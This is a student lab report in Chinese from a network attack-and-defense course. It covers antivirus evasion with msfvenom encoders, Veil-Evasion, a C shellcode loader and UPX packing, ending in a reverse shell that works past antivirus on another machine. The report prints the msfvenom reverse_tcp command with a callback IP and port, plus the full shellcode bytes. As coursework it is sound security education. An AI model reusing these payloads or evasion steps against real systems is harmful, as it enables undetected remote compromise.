# 20192407 2021-2022-2 《網路與系統攻防技術》實驗三實驗報告
1.實驗內容
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
veil,加殼工具
使用C + shellcode程式設計
(2)通過組合應用各種技術實現惡意程式碼免殺
(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
2.實驗過程
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案。
veil,加殼工具
使用C + shellcode程式設計
1)正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案。
7次編碼,生成exe檔案:
將檔案放入virustotal網站測試:
生成PHP檔案:
將檔案放入virustotal網站測試:
生成java檔案:
將檔案放入virustotal網站測試:
2)使用veil-evasion:
安裝veil,輸入use evasion
list可以檢視不同的payload:
使用use powershell/meterpreter/rev_tcp.py命令進入配置介面,設定IP地址和埠號,IP地址為kali的IP,埠號選擇7777:
輸入generate命令生成檔案,命名為20192407bat.bat,將檔案放入virustotal網站測試:
接下來可分別用use c/meterpreter/rev_tcp.py指令和use python/meterpreter/rev_tcp.py指令生成exe檔案和python檔案,並將檔案放入virustotal網站測試:
3)使用C + shellcode程式設計,注入Shellcode並執行
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.130 LPORT=4444 -f c命令c生成一段shellcode:
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x68\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
建立20192407c.c檔案,將shellcode貼上,並用程式碼使其呼叫:
使用i686-w64-mingw32-g++ 20192407c.c -o 20192407firstexe.exe指令將C語言檔案轉換成exe檔案:
將檔案放入virustotal網站測試:
4)加殼
upx 20192407firstexe.exe -o 20192407secexe.exe來將剛生成的exe檔案加上壓縮殼
** (2)通過組合應用各種技術實現惡意程式碼免殺**
將20192407secexe.exe傳到windows上,執行並在kali上執行實驗二的exploit監聽,即可獲得windows的shell:
(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
首先將虛擬機器變為橋接模式以聯通其他主機,隨後生成raw檔案:
將raw傳到目標主機並執行,隨後在kali上對其進行監聽,獲得目標shell:
其安全軟體使用電腦管家:
3.問題及解決方案
- 問題1:虛擬機器下載veil時出現問題
- 問題1解決方案:使用同學電腦完成剩餘部分
- 問題2:加殼應用仍然會被防毒軟體發現
- 問題2解決方案:強制信任該應用
- 問題3:對實驗二不熟練,監聽經常失敗
- 問題3解決方案:重新複習實驗二的監聽並多次修改出現的錯誤
回答問題:
(1)殺軟是如何檢測出惡意程式碼的?
根據特徵來檢測:惡意程式碼常常具有明顯的特徵碼也就是一段資料,殺軟檢測到具有該特徵碼的程式就當作檢測到了惡意程式碼。
根據行為來檢測:如果一個程式的行為是帶有惡意的行為,那麼這個程式也會被認為是惡意程式碼。
(2)免殺是做什麼?
免除計算機防毒軟體的查殺。比如通過一些手段來瞞過或跳過防毒軟體的檢測掃描
(3)免殺的基本方法有哪些?
加花指令:加入一些無用的指令來迷惑防毒軟體,讓防毒軟體檢測不到特徵碼
加殼:給含有惡意程式碼的程式加一個外包裝,讓防毒軟體不知道里面裝的是什麼。
修改特徵碼:在不影響程式功能的情況下,修改防毒軟體檢測的特徵碼,從而瞞過殺軟的檢測。
4.學習感悟、思考等
本次實驗的內容結合了上次實驗的監聽,雖然大體意思較為易懂,但操作起來實屬麻煩。通過本次實驗,我學會了防毒軟體防毒的原理以及惡意程式碼有何種手段來避開防毒軟體的檢測即免殺。在實驗的過程中也親眼見到了計算機如何在有防毒軟體的情況下依然被惡意程式碼攻破,對以後自身計算機的防禦也有了新一步的認知。